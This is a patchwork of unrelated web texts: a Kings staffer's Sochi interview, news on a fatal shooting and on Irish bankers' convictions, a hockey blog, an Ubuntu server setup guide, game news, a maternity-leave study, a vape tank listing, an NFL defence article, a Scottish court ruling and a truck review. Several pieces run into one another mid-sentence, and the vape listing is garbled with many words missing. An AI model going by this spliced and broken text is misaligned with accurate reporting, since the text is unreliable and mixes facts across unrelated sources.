Have you had any interesting new things to eat?
DR: Yes! I’ve tried Borscht! It’s a soup with beetroot and some other things. I’ve also had crab-flavored potato chips (not sure if we have that in the States). There have also been some interesting choices at breakfast at our hotel, some of which I’m not sure what they are. But overall, I’m being well fed. But I’m starting to miss some of my favorites back home, like Mexican food and even Tommy’s!
What is your favorite thing about the city of Sochi?
DR: The views! I think Sochi is very picturesque due to its location between the Black Sea and the snowcapped mountains. I really enjoy some of the views from all over Sochi.
How do the presentation teams, who have never worked together before, pull everything together for the Olympics?
DR: I think for each venue, there are different challenges. I feel really lucky that the crew I’m a part of at Shayba Arena, we get along great and have a really good chemistry together. When it’s time to execute our game presentation, after having rehearsals prior to the opening of the games, and now several games under our belts, it’s very smooth.
What is your favorite Winter Olympic sport to watch?
DR: Ice Hockey is my favorite Winter Olympic sport to watch. I love the wider ice surface. And I love that the emphasis is more on finesse, stickhandling and skating here at the Olympics. It amazes me how much skill is required to play this game at this very high level.
What interesting new people have you met?
DR: Here in Sochi I’ve met many new friends who are from other parts of Russia, Europe and North America. Our venue producer is from St Petersburg Russia, our Russian PA Announcers and in-arena host are from Moscow, and one of our English/French language PA Announcers is the PA Announcer for the Ottawa Senators.
What do you hope to do before returning home?
DR: I hope to just take in as much of the Olympic experience as possible. It’s very interesting to explore Sochi and to explore Olympic Park. And little by little, I’m understanding the Russian alphabet, enough to where I can slowly read it and I recognize some words. Overall, I just hope to take this all in. I know this is a very rare opportunity and I’m beyond fortunate and grateful to be here.
Check back to LAKings.com next week for Part II, which will feature Kings fans in Sochi.
Follow on Twitter: @by_DeborahLew
Email story ideas: dlew@lakings.com
The Kings Communications Department on Twitter: @LAKingsPRA 30-year-old U.S. Customs and Border Protection officer who fatally shot her boyfriend has not been charged and was released from jail Wednesday night as the case remains under review.
Melissa Hayes-Spencer told police she shot 30-year-old Rayshaun Cole in self defense as he was hitting her Saturday morning in their Chula Vista apartment.
She was arrested and booked into jail on a charge of murder. Her arraignment, expected to take place Wednesday, did not occur because the case "remains under investigation and review," a spokesman for the District Attorney's Office said.
From Facebook Rayshaun Cole Rayshaun Cole (From Facebook)
Cole served six years in the Navy as an aviation electronics technician and pursued a modeling career after he got out of the military.
More recently, he worked as a real estate investor, flipping houses. He was the father of six children, ages 6 to 13, and an avid basketball player, said a former girlfriend, Kendra Thompson.
Thompson, who has a 7-year-old daughter with Cole, said she thought Cole had a good relationship with Hayes-Spencer, who she said also got along well with their daughter.
"He was a great guy, very funny, just loving," said Thompson, who met Cole when they were both in the Navy and split up with him in 2010. "That's why I don't understand what happened."
She said Cole tended to avoid confrontations. "He's going to walk away. He's not going to stand there and argue with you," she said.
In his modeling profile, Cole called himself a "young country boy from a small town in Mississippi who believes in Southern hospitality" and described himself as "laid back and easy going."
Police said Cole and Hayes-Spencer moved into the ground-floor apartment about a month ago. No one else was in the apartment at the time of the incident except for their dog.
Hayes-Spencer shot Cole with her department-issued weapon, Chula Vista police Lt. Fritz Reber said.
Hayes-Spencer has been with Customs and Border Protection for seven years and was assigned to the Otay Mesa cargo Port of Entry, authorities said.
She is also managing partner of QuickTime Property Investors, a real estate investment company that she ran with Cole, according to her LinkedIn page.
Because Hayes-Spencer was not charged within 72 hours of her arrest, under law she must be released from custody.Washington Capitals forward Jay Beagle is about to play in his second Bridgestone NHL Winter Classic. Beagle suited up for the Capitals at Heinz Field in Pittsburgh in 2011, and he's expected to be in the lineup Thursday against the Chicago Blackhawks at Nationals Park.
Beagle agreed to offer up his opinions in blog form leading up to the main event.
UNIONDALE, N.Y. -- We're just a few days away from the Winter Classic, and I'm feeling fortunate to be playing in another one. I was lucky a few years back to be with the Capitals when we played against the Pittsburgh Penguins at Heinz Field. It was such a great experience.
As a kid growing up in Calgary, you always skate outdoors. Every chance I had, I would be on the outdoor ice. A lot of times, I can remember being out there a lot with people in my family. It was kind of a family thing; even my grandpa would be out skating with me. Skating outdoors is really where most of us learn how to play.
Playing at the Winter Classic in Pittsburgh was obviously a great experience. At that time, I was up and down a lot between Washington and Hershey in the American Hockey League. I got called up a week before the Classic and I had two good games. They kept me for the Classic and it was obviously a pretty special experience. It's something you never forget. It's pretty cool to be part of an outdoor game like that, especially one that was such a rivalry against Pittsburgh. It was a lot of fun.
The Epix guys are here filming us, but having more cameras around doesn't really change anything, at least for me personally. I haven't actually even seen any of the episodes yet. We've been on the road so much, and I haven't really had the time to watch them. For me, it doesn't really change anything. You just be yourself and you continue to come to the rink and have fun and do what you love to do.
It's pretty special to be able to play in another Winter Classic, and I think it helps that most of us here have already played in one. From the first one, we know the schedule can change. We were supposed to play at 1:00, and then it got moved to 3:00 and then 8:00 because of the weather. It was an experience where it's unlike any other game. The preparation is a lot different. It's good to have the experience of already being a part of one, and I'm sure a lot of us will feed off that.
Tonight was a tough game against the Islanders. We didn't play our best in the first two periods and we wanted to just make a push. Our goalie, Braden Holtby, stood on his head. We wanted to come back for him, because he definitely gave us a chance to win. The third period was the way we want to play. We'll build off that.
It will definitely feel nice to get home. It seems like we've been on the road since almost the start of the season. We've all been excited for the Classic, and it'll be great to see my family. Everyone is already there waiting for me. My mom and dad will be there, along with my wife's mom. It will be great to have everyone together for a couple of days, but I know I also have to continue to prepare for the game.
My son, Brandt, is only eight months old, but I can't wait to hold him and skate around the ice at the stadium. That's going to be very special for me.Submitted by Carey Wedler via TheAntiMedia.org,
“By means that could be termed dishonest, deceitful and corrupt, they manufactured 7.2 billion euros in deposits by obvious sham transactions,” Judge Martin Nolan of Ireland said as he convicted three top bankers on Friday for their role in the 2008 financial crisis. They are among the first in the world to be sent to prison for their involvement in the global meltdown eight years ago.
The longest-ever criminal trial in Ireland lasted 74 days and led to convictions for former Irish Life and Permanent Bank Chief Executive Denis Casey; former finance director at the failed Anglo Irish Bank, Willie McAteer; and former head of capital markets at the Anglo Irish Bank, John Bowe. They received sentences ranging between two-and-a-half to three-and-a-half years.
As light as those sentences may seem considering the dire effect bankers’ actions had on the Irish economy, U.S. and English bankers have evaded convictions altogether. Though banks in those countries have since paid out billions of dollars in settlements to regulators for their role in the 2008 crash, no one from those companies has been sentenced to prison.
Reuters reported on the different approach used by Ireland:
“All three were convicted of conspiring together and with others to mislead investors, depositors and lenders by setting up a 7.2-billion-euro circular transaction scheme between March and September 2008 to bolster Anglo’s balance sheet. “Irish Life placed the deposits via a non-banking subsidiary in the run-up to Anglo’s financial year-end, to allow its rival to categorize them as customer deposits, which are viewed as more secure, rather than a deposit from another bank. ” Defense attorneys for the bankers claimed the scheme was prompted by Irish regulators’ demands at the time that Irish banks “support one another as the financial crisis worsened” in a program called the “green jersey agenda.”
But Judge Nolan maintained they had committed a “very serious crime,” adding, “The public is entitled to rely on the probity of blue chip firms. If we can’t rely on the probity of these banks we lose all hope or trust in institutions.” A blue chip firm is a “nationally recognized, well-established and financially sound company,” according to Investopedia. Nolan also called Anglo Irish“‘probably the most reviled institution in the state,’” noting it was “put into liquidation in 2013 and remains subject to other criminal trials,” Reuters reported.
In recent years, the Irish population has grown increasingly angry over the lack of prosecutions for financial dealings that cost taxpayers “64 billion euros — almost 40 percent of annual economic output — after a property collapse forced the biggest state bank rescue in the euro zone,” Reuters noted. By 2011, Irish taxpayers had bailed out banks five times, and the Irish finance ministry said last month it could take up to 15 years to recoup the money pumped into those banks.
Willie McAteer, the former finance director at Anglo Irish, was previously convicted of “illegal lending and providing unlawful assistance to investors,” in 2014, but he was sentenced only to community service after a judge ruled he was “led into error and illegality” by Irish regulators.
Two top bankers from Anglo Irish Bank — chief operations officer Tiarnan O’Mahoney and former company secretary Bernard Daly — were convicted and sentenced in 2015 for crimes that preceded the 2008 crisis, but both were released from prison on appeal earlier this year after spending several months behind bars. O’Mahoney could still face a retrial.
The government’s lenient treatment of O’Mahoney and Daly leaves uncertainties regarding whether or not this week’s convictions will translate into actual prison time for the bankers or an upheaval of the current system; the Irish financial system’s corruption extends far beyond the activities of the recently convicted bankers.
Similarly, Iceland, which received widespread praise last year for sentencing over two dozen bankers to prison for their role in the global banking crisis, released three of them in April — years before their sentences were officially up.
In spite of the questions surrounding whether or not convictions like those issued Friday will produce tangible change, the symbolism of bankers actually being held accountable for the destruction caused by their schemes is sure to resonate with Irish citizens, as well as observers from around the world.You just provisioned a new machine on AWS or Digital Ocean. It almost has that new car smell: great. Now what? You want to go from a vanilla install to a box that you'll be able to easily manage and has the basic tools for troubleshootint it. Let me share a few of the best practices we stick to when creating servers with devo.ps. You should sign up for a free account by the way: you'll get all of what I'm about to list set up on your own Rackspace, Digital Ocean, Linode or AWS servers in a few minutes.
First, a couple things:
This setup isn't intended to be the lightest or smallest possible. We're not dealing with containers here, we can afford installing a few useful tools.
This setup is very much opinionated, though based off of our experience working with a lot of teams of various sizes. We're open to suggestions.
Let's get started:
Pick Ubuntu 14.04.1 LTS. It's a popular choice, with lots of relatively fresh packages, and the Long Term Support guarantee from Ubuntu.
Settings : Set locales to UTF-8 to avoid receiving annoying messages about "no locale found". locale-gen en_US.UTF-8 && echo 'LC_ALL="en_US.UTF-8"' >> /etc/default/locale Set swappiness to 0 to limit swap usage as much as possible. echo 'vm.swappiness = 0' >> /etc/sysctl.conf && sysctl -p
Create a 2GB swap file at the root of the filesystem to prevent OOM (Out of Memory) errors. Often times, cloud instances don't come with a swap partition, which leads to error when the RAM starts to fill up. dd if=/dev/zero of=/swapfile bs=1M count=2048 mkswap /swapfile chmod 600 /swapfile echo '/swapfile swap swap defaults 0 0' >> /etc/fstab swapon -a
Set nofile limit to 64K to avoid running in the 1024 open files limitation when, for example, you have a lot of databases and tables open. cat >> /etc/security/limits.d/nofile.conf << EOF # limits for number of open file for root and default users. root hard nofile 65536 root soft nofile 65536 * hard nofile 65536 * soft nofile 65536 EOF
Linux users : root should only be used for provisioning and configuration. After that, disable SSH access and use sudo instead. For devo.ps, we also create a devops user which we use to access the box. You should probably add your own user and grant it sudo access.
Packages : For troubleshooting : htop is a great alternative to top. iftop provides realtime bandwidth investigation capabilities. sysstat gives you the ultimate troubslehooting tools; iostat, mpstat, sar, etc. dstat is a great collection of stat tools. Git & Subversion since they're the more commonly used VCS. make, gcc & g++ (I know it may be controversial) are often required when building extensions (PECL, npm, pip...). postfix running standalone, listening only to localhost, allows you to send email and notifications.
Feedback is welcome.
And if you don't feel like setting up all of this by yourself, create a free devo.ps account and get your own Digital Ocean, AWS, Rackspace or Linode servers ready in a few minutes.
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DisqusSquare Enix managed to find a surprising success in Sleeping Dogs, their crime drama that takes place in a engaging open-world Hong Kong. Since the game's summer release, it's gotten DLC offerings that give players new racing or cop missions as well as packs filled with new customization options but nothing in the form of new adventures for Wei Shen.
In a panel at New York Comic-Con, the developer of Sleeping Dogs says the game will be getting "Nightmare in Northpoint," a new DLC game mode. United Front tells Kotaku the extension will be horror-themed, similar to Red Dead Redemption's "Undead Nightmare" from two years ago.
"With the DLC, we feel we can explore other aspects of Hong Kong cinema," United Front representatives told the panel. The DLC will release Oct. 30.Advertisement Boston police commissioner: Protesters part of Occupy anarchist group Protesters shut down Interstate 93 in Milton, Medford Share Shares Copy Link Copy
The protesters who shut down Interstate 93 on Thursday morning claimed to be supporting the Black Lives Matter movement, but Boston's police commissioner says they were actually hijacking the cause.Click to view photos from the protests."If lives mattered today, those kids wouldn't have been out there doing what they did because they put a lot of lives in danger," Commissioner William Evans told WCVB."This isn't a normal group that's been operating in the city. This was again an Occupy anarchist movement who was hell-bent on causing problems and they used it in the name of Black Lives Matter." According to Evans, Boston police have arrested at least six of the protesters in the past, most during Occupy Boston."I'm willing to bet none of these kids know what it's like to be black in a community, none of them know what it's like to live in a city," he said. "I just hate the fact that they think they're speaking out and causing a bad name for some of the kids that have a legitimate reason, at least in their minds." Evans said the tactics used on the Expressway -- barrels filled with concrete and protesters handcuffing themselves through PVC pipes -- are used by anarchist groups across the country."It should give pause for everyone to think about what it is we are trying to do here," said Reverend Jeffrey Brown of the 12th Baptist Church in Roxbury.He said he did not know who was behind Thursday's protests, but he was concerned when he heard about the impact they had, especially putting people's lives at risk and blocking an ambulance."I looked at that and questioned the wisdom of this particular act. The person in that ambulance could have been a supporter of Black Lives Matter, but they were in need of medical attention," Brown said. He said he wants people to understand that Black Lives Matter is an organization of people hoping their voices will be heard about issues of disparities and racial injustice, and also an ideology that is spreading through the country and others are embracing."It's not that they don't have a right to protest, but if you're going to protest in the name of Black Lives Matter and if you're going to be in solidarity of an organization, then the organization should be made aware of what you are going to do. You have to be more thoughtful as to what to do," Brown said.He wants to caution leaders of the Black Lives Matter organization against people who are trying to exploit their voices."If you don't put out your strategy, and you don't put out your intentions, it's in danger of being exploited by people who may have a similar stance but have a very different way of getting there," Brown said.He hopes people will reflect on the Civil Rights struggles more than 50 years ago. He said leaders then were very strategic about what they would do, from getting on a bus to marching for voting rights."You just can't disrupt for disruption sake, you have to have a plan, you have to have a strategy and you have to think through what the consequences are," Brown said."Hopefully Black Lives Matter can separate themselves from what happened today," Commissioner Evans said. "Our officers, our men and women, again work hard to take the guns off the street, to make the neighborhood safe, and I think the community, the minority community really appreciates the work we do, and that's something these kids don't understand."With the release dates for Ultra Street Fighter IV announced, KingBlackToof has an updated version of his Ultra Street Fighter IV mod series.
The latest mod is based on changes featured in the Japanese arcade release. This does not include some of the new changes found in recent international location tests.
The command for the red focus mechanic changed to its current command of jab, strong and forward. The delayed wake up mechanic has been modified to now only apply to hard knockdown. This mod still doesn't include Ultra Combo Double mechanic. While not intended to be absolutely accurate, the mod wants players to evaluate a majority of the changes found in Ultra before it officially hits consoles and PCs.
You need to have Super Street Fighter IV: Arcade Edition on PC to use this mod (download link). A video on how to install the mod can be found after the jump!On the Engineering Windows 7 blog this week, Microsoft again noted that it was planning to give the public a Release Candidate of Windows 7 before the final version is ready. In other words, there is not going to be a "Beta 2," and the public would only see one public beta build: Windows 7 build 7000. However, a timeline for these versions is not disclosed: "This post is in no way an announcement of a ship date, change in plans, or change in our previously described process, but rather it provides additional detail and a forward looking view of the path to RTM and General Availability."
The fact that Microsoft is not planning a second beta, that the first beta is the most stable Microsoft has ever given out, and that getting Windows 7 ready in time for the holidays is advantageous has all led to speculation that Microsoft wants Vista's successor out this year. Officially, Microsoft has always said "three years after the general availability of Windows Vista," which was released on January 30, 2007, and that the release date was also dependent on quality. As with any product in beta, enthusiasts have been making predictions all over the place, most in the timeframe of late 2009 to early 2010. Microsoft employees have been making their own predictions, but the average of their guesses is much earlier in 2009: October 3.
I asked Michael Bohlin, product, here are some dates more or less nailed.
February 26, TechNet and TrueSec med with Microsoft Windows 7 Summit. Microsoft Windows 7 Summit.
17-18 March, Tech Days in V�ster�s, our largest Windows 7 event in the spring.
May 31 Microsoft itself installed.
Early in April, after CeBIT, the RC.
June, July, August, Summer Koll with many presentations.
RTM and launch company as it stands right now Q3 2009. The cut of all internal guesses here at the office right now is October 3 at 11.10.
February 2010 the board of trade.
The above quote is a translated version (� la Google) of a Microsoft Sweden partner blog post that Neowin found. It should also be noted that the timeline points to an RC being released in April. Dates like those above are always subject to change, but it's quite obvious that Microsoft is at least currently aiming to get Windows 7 ready for prime time by Q3 2009. We'll just have to wait and see if they can pull it off.How long should women take off from work after having a baby? It’s a charged question. Scandinavians think women should have a lot of time; Americans seem to think women need little or no time at all. At the heart of the question is the effect on children: Does it help or hurt them to have a parent at home?
But attempts to study it scientifically have produced maddeningly complex results.
One study found that children from better-off families faced cognitive and behavioral setbacks when their mothers returned to full-time work within nine months of childbirth. But in another, children of poorer women (pdf) made both academic and behavioral gains, on average, when their mothers returned in that timeframe. Other research has come up with mixed findings (pdf).
Since some of those studies were done, however, the world has changed. More women work, and are making more money. Child care has improved, as the importance of early childhood development has been recognized. And fathers are getting more involved in it.
So a pair of researchers delved into more recent data—children born in 2000 and afterward—to ask the same question: do children suffer, academically and emotionally, when women go back to work quickly?
The answer, almost always, was no.
Caitlin McPherran Lombardi of the University of Connecticut and Rebekah Levine of Boston College published two studies on Dec. 19—one, in the journal Child Development, about children in the UK and Australia, and one, in Developmental Psychology, about American kids. The studies followed children and families from birth until they entered primary school. What they found: “There wasn’t any negative link between returning to work early and children’s development, both in terms of academic and behavioral skills,” Lombardi says.
To be sure, there were some caveats. In some cases, children of poorer mothers in the US fared better when the mothers went back to work early. This could mean that the mothers’ extra income helped offset other downsides. In other instances, children from better-off families suffered slightly when their mothers went back to work earlier. Both these results appear to support prior research findings.
Another caveat was that in some cases in the US—but not in the UK and Australia—children were more likely to misbehave in kindergarten if their mothers had taken less leave. Kids whose mothers returned to work part-time between 9 and 24 months after childbirth had higher rates of conduct problems in kindergarten (as reported by teachers) than children whose mothers had stayed out of the work force for at least 24 months. Lombardi hypothesizes that the reason this pattern only shows up in the US may be that part-time work in the US can be more stressful, as it tends to be lower paid and without benefits, while part-time work in the UK and Australia is more often of higher quality.
But taking these variations into account, Lombardi and Levine’s broad conclusion for the various cohorts of children was that the length of maternal leave really didn’t matter much.
What makes this especially surprising is that the three countries they tested have very different attitudes to parental leave. The US has no federal paid maternity leave policy, and allows for only 12 weeks of unpaid leave—and even for that, the bar for eligibility is quite high. In the UK, the study says, women’s jobs are protected for 39 weeks after childbirth, with the first six weeks of maternity leave at full pay. In Australia, mothers can claim up to 18 weeks’ leave, paid at the national minimum wage.
All in all, this suggests that parental-leave policy makes more of a difference to women’s ability to keep their careers than it does to their kids’ development. US mothers go back to work soon after childbirth, most of them full-time, but a lot subsequently drop out. Women in the UK and Australia come back slowly, and part-time, but then are more likely to stay in the workforce. Women’s labor-force participation in the US has been falling behind that of other OECD countries, and research has shown that differences in parental-leave policies are partly responsible (pdf).
All this suggests that making it easier for women to not sacrifice careers for children is good for their families in the long run. “There’s not a lot of association between early employment and children’s development and so policies that encourage moms to be able to stay in the workforce, and in their careers during the period of childbirth and having young children, those would support the longer-term ability of mothers to provide income and other human capital may benefit themselves and their families,” said Lombardi. Yet another reason why the US needs to reconsider its shameful backwardness on parental leave.UWELL Rafale 120W TC Capable 0.2Ω Anti-Spitback Tank
Theis the much-awaited sequel to the hugely successful Crown tank - and it does not disappoint! The UWELL Rafale features aagainst those microscopic drops of hot liquid that burn your tongue.. Stainless steel is an alloy that incorporates nickel, manganese and chromium. What this does is make the steel much more. In terms of the liquid chamber,. In short, the UWELL Rafale is→ Capacity: 5ml | Diameter: 24mm (0.94 inches) | Length: 70mm (2.75 inches)→ 120W maximum input with 0.2Ω head→ Made from 304 food grade stainless steel and fused quartz glass→ Can fill from the top or bottom→ Patented anti-spitback system→ Fully adjustable dual air flow control mechanism→ Stainless steel and nickel coils available (100% organic Japanese cotton wicks)→ Coils have gold plated contact pins and are available in 0.1Ω, 0.2Ω and 0.5Ω→ Wide bore stainless steel drip tip for lung hits→ Produces incredibly thick clouds→ Crystal clear flavor delivery→ Optional rebuildable vertical RBA head (sold separately). In terms of air flow control, the Rafale sports. With such holes,, the rate of delivery is absolutely incredible. Being able to adjust air flow means. You can open the valves for a more airy hit, or close them for a tighter draw. Not only that,. The Rafale is designed as asystem. This. The previously mentionedsystem is mechanical. It is inserted into the chimney to trap ejuice at the base and. Showing the quality of design, the UWELL Rafale can be completely disassembled so it is. The drip tip is changeable too,The design and materials are indeed top class, but. Where the coils for the UWELL Crown are flat out brilliant,. The UWELL Rafale heads are made withand come in two different types:Travis Beckum scores the first Giants TD as he gets past Packers safety Morgan Burnett in the first quarter. Credit: Tom Lynn
By of the
Green Bay - At this time a year ago, after 12 games of the 2010 season, the Green Bay Packers knew who they were defensively.
They ranked ninth overall in total defense, allowing 316.4 yards per game and just 5.1 yards per play. When the regular season ended, they were roughly the same defense, up a few slots to fifth overall at 309.1 yards per game and virtually the same in yards per play.
Now, 12 games into the 2011 season, the Packers rank 31st in total defense, allowing 397.8 yards per game and a league-worst 6.3 yards per play.
Just as the '10 Packers had established their identity, it appears the '11 defense has established its own. It seems unlikely that this far into the season, a unit that has been relatively healthy all year is going to see any dramatic improvement.
In the dramatic 38-35 victory over the New York Giants on Sunday, the defense allowed 447 yards - the eighth time this season it has allowed 400 or more - including plays of 67, 51, 42 and 22 yards. It also forced two turnovers, including linebacker Clay Matthews' 38-yard interception return for a touchdown, raising its league-leading interception total to 23.
Ladies and gentlemen, this is your Packers defense.
"We kind of have the same script here," coordinator Dom Capers said. "We go out like we saw on that first series. They hit a big play over the top on us (a 67-yard touchdown pass). Probably for the most part, it's technique. We're playing a lot of the same things we always play.
"Technique, and then we didn't do a good job of tackling on the play. But then we come back just like we have a lot of games with a few great plays. Clay's interception for a touchdown is one of the best plays you'll see with his pressure and him timing his break on the ball."
Then there's the 2-minute drill at the end of each half.
In the first, Matthews sacked quarterback Eli Manning, causing a fumble that teammate B.J. Raji recovered, setting up the offense in scoring territory. In the second, the Giants drove 69 plays in nine plays for a touchdown and subsequent two-point conversion that tied the game with 58 seconds left.
As much as Capers would love this to be the defense that spearheaded the team's drive to a Super Bowl XLV title, his job the final four weeks of the season is to go on defense with his defense. Instead of being the attack unit it was last year, he's going to have to play more of the percentages with this unit.
"I think you've seen us play with a little more split safety," Capers said of a safer |
recorded.
The sheriff found that the chatline was the property of 4D and was accessible to the public, 4D employees might listen to the content and, given the technical fault, callers could “mistakenly stumble into conversations they had not intended to join”.
For the appellant, it was submitted that the sheriff had “erred” in rejecting the submission that the section 38(2) defence was made out. There was no issue with the findings in fact made by the sheriff, but the calls were “essentially private” and it was argued that in the circumstances the provisions of the subsection applied.
For the Crown, the advocate depute submitted that the sheriff had not erred. It was argued that the calls had “a wider actual and potential audience” and it was clear that the content relied on would be “alarming to a reasonable person”.
Delivering the opinion of the court, Lady Smith said: “The messages and statements to which this charge related referred to appalling sexual abuse of children and babies. The content was disgusting, abhorrent and shocking. It was bound to alarm any reasonable person.
“On the sheriff’s findings, there were three categories of person who could be exposed to their content. First, there were those who chose to engage in conversations with the appellant. Secondly, there were those callers who did not choose to do so but, because of the technical fault in the 4D system, found themselves exposed to his statements. Thirdly, there were the 4D employees tasked with moderating introductory messages and/or listening to recordings when a complaint was received.
“The appellant‘s knowledge of the fault, the moderation of introductory messages and the recording of calls undermined his approach to use of the chatline as being an entirely private matter.”
The judges also noted, as the sheriff recorded, that the appellant accepted that the content would cause “fear and alarm to the general public”.
Lady Smith added: “We agree with the sheriff that it was not open to the appellant to pray privacy in aid and can find nothing in the particular circumstances of this case which might show that the appellant’s conduct, as described in the charge, was reasonable.
“On the contrary, as we have already observed, the statements were made in circumstances where the appellants’ actual and potential audience was not, as he knew, restricted to the caller that had chosen to talk to him.
“Further, the content referred to in the charge was disgusting, abhorrent and shocking. Any reasonable person would have been bound to be alarmed by it.”
© Scottish Legal News Ltd 2019Nothing says boss like a big car. Despite what sports car owners may think other drivers simply are not intimidated by low profile speedsters with over-sized engines and bucket seats. They’re annoyed by them. In heavy traffic everyone will get too close to a sports car, they will not let you go at an intersection and everyone will try to bring the car to a standstill. It’s not jealousy. It’s justice. But when you’re in a pick-up truck of this sheer size and looking down at the rooftops of landrovers and range rovers you get respect in the same way a bison will get respect from a herd of sheep.
The Volkswagen Amarok blurs the line between a builder’s wagon and a family car, with off-road ability, a big load bed and a spacious five-seater interior. They used to be a rarity to see on UK roads, reserved for owners who needed them for work duties rather than as an everyday car but pick-up trucks are becoming more common. They are just as popular in Britain as they are in South Africa and almost as popular as they are in America.
Day to day, the Amarok is probably even more usable than some of the pick-ups toted out by manufacturers these days. A well built and spacious interior, a huge load bed with a shutter cover which makes it useful not only to builders and sporty types but families as well. Also as a commercial vehicle it benefits from the usual tax breaks.
I was using it to move house, the second time this year and true to British weather there was sunshine throughout the packing procedure followed by torrential showers. If it weren’t for the shutter I would still be drying out my bedding and clothes.
HOW DOES THIS BEAST PERFORM?
With a 2.0 litre diesel engine, there is loads of power when travelling with a full, heavy load although the engine can’t match the economy of the latest diesels you’ll find in modern SUVS which is mainly due to its size. Of course, if you’ve been driving an older pick-up you’ll be impressed by how far the Amarok can get on a tank.
It’s also very stable. All of the Amarok family from the basic Startline, Trendline and the Canyon special edition come with four wheel drive that keeps the vehicle stable to the ground. As tall as the car is it is just as wide and so on even the sharpest bends the tyres don’t leave the road. I didn’t get the chance to take this off-road which I’m frankly a little saddened about because it would have been a lot of fun. This car was made for offroading, while the height gives you a fantastic view of the whole road over all the other cars, it’s design means that the chassis and mechanics are well above the reach of any roots, stones or rocks.
RUNNING COSTS, MILES PER GALLON
With an economy of 35mpg and £210 road tax it’s not the most economical SUV on the roads today however the VW Amarok is more frugal than the Mitsubishi L200 and only slightly behind the Toyota Hilux while being able to carry more. The most economical version of the Amarok can manage economy 36.2mpg and CO2 emissions of 205g/km, for road tax of £285 but bear in mind that if you load it up with cargo, economy takes a bit of tumble.
The more powerful version costs the same to tax, and economy drops only slightly to 35.3mpg this is also the only engine that can be combined with an automatic gearbox which fortunately has no impact on economy.
Looking into things reveals that VW also offer a range of servicing packages to help save money on maintenance, while the warranty covers you for two years, with no mileage limit, and for a third year up to 100,000 miles. Which would suit me for another five thousand moves!
INSIDE AND DRIVER COMFORT
For a car of this size you would be disappointed to find anything cramped on the interior. Designed, as it was for Americans, the inside is vast with more than enough head space for you to wear a Stetson and the seats are widely adjustable for the bigger than average driver.
The engine is not quiet- at all- but again, I didn’t want a diesel of this size to be quiet. You don’t get into a bottle orange 4×4 that can be seen a mile away in traffic and expect to get a kitten of an engine. Starting the engine gets birds flying from the trees and animals fleeing in panic however when cruising on the road at top gear it settles down considerably irrespective of the load. On the same note as the gruffness of the engine the suspension can be bouncy when the bed isn’t loaded up, however when considering that this is a bloody great big pick up that can carry 1,145kg of load if you’re not planning on making use of it properly you shouldn’t be driving it at all. You wouldn’t buy a work horse and put it in the Grand National.
PRACTICAL?
Assuming that you either work in an industry or have a lifestyle that demands a load bed the size of a pool while still offering room for the family you won’t find a more practical beast for the job. Working best when it has a load on this is the dream car for a managing director of a construction firm who wants to have the look of an impressive car with the style of something a bit more executive. Five people will fit comfortably inside with headroom and legroom to spare, even if they were all wearing cowboy hats and boots and assuming they don’t mind being under the shutter you could fit another four or five people in the 2.5 square metres of bed space. If this is the case and you find you have some luggage to carry the Amarok can tow up to 3000 kg. It would be a mission to overload the Amarok as even with a full cabin, a full bed and a trailer to tow its electronic stability control system has been fine tuned to keep the vehicle completely stable while pulling a trailer.
It is however a tall car, a very tall car, I’m six feet five inches tall and even I had a bit of a jump to get inside so I would definitely suggest going for the optional grab handles and running boards to make getting in and out less of a climb.
FUN YES, IS IT SAFE?
Don’t forget this is a VW and may feel like a tank when you’re driving along the British countryside but it’s more car-like than many of its rivals. So it’s comfortable and very easy to drive but it’s still a tank. It’s solid on the inside and out and has been built with hard-work in mind. If you were involved in an accident with another vehicle there is a possibility you might not even feel it. The warranty applied by Volkswagen that covers the Amarok for the first 100k miles adds some peace of mind as well as dual passenger and side airbags also its fitted with ISOFIX children’s seat mounts and hill-hold assist (meaning no back roll.)
PRICE
More expensive than the Mitsubishi L200 and the Toyota Hilux the VW badge is packed with better features than the pair of them. The top spec Amarok comes with a number of gizmos and equipment including a climate control and heated leather seats. Sat-Nav, electronic windows and 12v plug for charging electronic devices are available in all models.
Prices start at £34,788 for the Canyon, representing a £626 saving if you were to buy a Trendline model and order the standard equipment on the Canyon as extras.
CONS AND CONCLUSION
I found the parking took some getting used to. Especially in Britain. The Amarok was not designed for British roads that were originally measured for cars the size of MINIs and VW Beetles and parking spaces designed for vehicles of less girth. Add this with the 360 degrees proximity alerts the car turns into a nervous, shrieking wreck the moment anything gets within an arm’s reach of it and with a bonnet as wide as a yacht everything on the road is within arm’s reach.
People may also make unfair comments about driving this in Britain because British drivers just aren’t ready for something of this size. I had an entire household to move and this took at least four trips to move everything from one house to the other and the final trip was at 3am on a Thursday morning. After driving backwards and forwards across a hundred and twenty odd miles after a full day’s work and knowing that I would be back at the office in under four hours I was grumpy, tired and grateful for the automatic gearbox and the volume of the CD player. On one of the narrow B roads leading off from the A47 to my new home I turned the corner and came face to face with a BMW i8 a sports car that has no place being on a B road at 3am in the morning.
Believing that he deserved the right of way he flashed his high beams at me.
After this affront I first considered just driving forward and cleaning the remnants of the BMW from my grill in the morning but decided against it. Instead I calmly reached to the left of the steering wheel to my own high beans and unleashed the full strength of the Volkswagen Amarok’s highbeams and roof top spotlights that vaporized the BMW and the driver into dust. This could have been an error in judgment though as I had to wait for the road to stop spitting before I could drive across it.
.
NOTE: No actual BMWs or roads were damaged in the writing of this review and if they were there was nothing left of them to find.Just before the launch of Halo: The Master Chief Collection, you may recall that the Halo Bulletin moved to video form for the first time, taking our weekly written news drop of all things Halo and video-ifying it. While we hope you’re enjoying the new Bulletin on The Halo Channel, we recognize that it is sometimes better (and necessary) to provide updates in the traditional blog form. Thus, I’d like to provide an update on developments across the studio, including MCC content and playlist updates as well as Halo 5. Let’s get to it.
Halo: The Master Chief Collection Content Updates
Continued improvement to the MCC experience remains our top priority as a studio. Work on our upcoming content update focuses on three major areas:
Matchmaking search time
Match search success
Lobby / Party Functionality
Fundamental changes to these systems will improve the overall experience while also allowing us to address additional issues such as title-specific hit registration, matchmaking ranking, and beyond. As this update contains the biggest changes to the Matchmaking system yet, we’ve identified that additional time and testing is required, and we are currently evaluating both timing and need for a CU beta with the Xbox One Preview program, as well as the final public release date in February. We’ll continue to provide the latest updates here on Waypoint.
Lastly, I’d like to thank those of you on Waypoint, r/Halo, Twitter, and elsewhere who have continued to provide info regarding issues you’ve encountered, and more specifically identifying which ones are most important to you – your continued feedback has been invaluable as we work to prioritize fixes within the CU schedule.
Halo: The Master Chief Collection Playlist Updates
